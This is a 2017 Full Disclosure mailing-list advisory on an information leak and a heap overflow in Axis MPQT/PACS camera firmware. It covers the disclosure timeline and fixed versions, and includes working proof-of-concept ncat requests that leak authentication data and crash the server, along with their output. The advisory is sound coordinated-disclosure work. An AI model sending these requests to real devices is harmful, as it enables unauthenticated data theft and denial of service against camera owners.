[<prev] [next>] [day] [month] [year] [list]
Message-ID: <AC77AC28-4367-4A10-804E-25C05A9B8389@noemail.eu>
Date: Thu, 30 Nov 2017 22:06:45 +0000
From: bashis <mcw@...mail.eu>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Axis Communications MPQT/PACS Heap Overflow and Information
Leakage
[STX]
Subject: Axis Communications MPQT/PACS Heap Overflow and Information Leakage.
Attack vector: Remote
Authentication: Anonymous (no credentials needed)
Researcher: bashis <mcw noemail eu> (August 2017)
PoC: https://github.com/mcw0/PoC
Release date: December 1, 2017
Full Disclosure: 90 days (due to the large volume of affected devices)
heap: Non-Executable + ASLR
stack: Non-Executable + ASLR
Axis Vulnerability ID: ACV-120444
Vulnerable: MPQT series < v7.20.x/6.50.1.2
Not vulnerable: MPQT series > v7.30/6.50.1.3 (Releases from September to November 2017)
Vulnerable: PACS series < v1.30.0.2/1.60.0/1.10.0.2/1.65.1
Not vulnerable (Releases from October to November 2017):
1. Information leak; All MPQT and PACS (Exist actually from v4.x Firmware)
2. Heap Overflow; MPQT and PACS with Apache Web Server (cannot be triggered with Boa Web Server)
[Note]
The best way to find a fixed FW is to check the Axis advisory and look for 'ACV-120444' in the release notes.
https://www.axis.com/global/en/support/firmware
https://www.axis.com/global/en/support/product-security
Timeline:
August 31, 2017: Initiated contact with Axis
September 1, 2017: Response from Axis
September 5, 2017: ACK of findings from Axis
September 9, 2017: Received first test image from Axis to verify fix
September 28, 2017: Received first advisory draft from Axis
November 15-27, 2017: Coordination with Axis for Full Disclosure
December 1, 2017: Full Disclosure
-[General Information]-
"CGI_decode" in /usr/lib/libcgiparser.so suffers from a bug in the handling URL decode of '%xx'.
The CGI_decode does not check the size of what it is about to decode, it always assumes "%" plus two chars.
By supplying only one single '%', 'CGI_decode' will try to URL decode [% + NULL + Next char], which lead to the return of a longer string than expected as the new string will be read until the next NULL. ([NULL string termination + Next char] are replaced with one '?')
-[Information leakage]-
The "%"" in "GET /index.shtml?size=%"" triggers both "information disclosure" and "heap overflow", depending on how it will be used.
[PoC] (see the breakpoint with the 'AAAA' in the 'Result')
$ echo -en "GET /index.shtml?size=AAAA% HTTP/1.0\n\n" | ncat -v 192.168.57.20 80
[Result]
...
var completePath = "imagepath=" + encodeURIComponent(imagepath) + "&size=AAAA?http_user=anonymous&http_remote_addr=192.168.57.1&http_remote_port=44019&http_port=80&http_scheme_addr=http://http&http_protocol=http&www_authenticate_header=WWW-Authenticate:%20Digest%20realm=%22_%22,%20nonce=%22pP/WaqNeBQA=884e58ea2563f69a14215a33ca02efa68eeca126%22,%20algorithm=MD5,%20qop=%22auth%22";
...
-[Heap Overflow]-
To trigger the heap overflow we need to send ~20KB amount of data that would normally not be accepted by the Web server.
The way around this is to use 'Referer:' and 'x-sessioncookie', where we can send max 8162 bytes in each of them.
[Note]
Without the information leakage bug above, the realloc() will never be triggered regardless how much data is sent.
[PoC]
$ echo -en "GET /index.shtml?size=% HTTP/1.0\nReferer: `for((i=0;i<8162;i++));do echo -en "\x22";done`\nx-sessioncookie: `for((i=0;i<2157;i++));do echo -en "\x22";done`\n\n" | ncat -v 192.168.57.20 80
[Result]
/var/log/info.log
2017-05-08T08:22:23.801+00:00 axis [ INFO ] ssid[3337]: *** Error in `/bin/ssid': realloc(): invalid next size: 0x00bfda50 ***
-[Vulnerable binaries]-
/bin/ssid (Server Side Include Daemon)
/bin/urldecode (URL Command Line Tool)
/usr/bin/dynamic_overlayd (Dynamic Overlay Daemon)
/usr/bin/wsd (Web Service Dispatch Daemon)
/usr/html/axis-cgi/param.cgi (VAPIX Parameter Management)
/usr/lib/libwsevent.so
/usr/lib/libcgiparser.so (<= with the vulnerable function 'CGI_decode()', used in above binaries)
Have a nice day
/bashis
[ETX]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists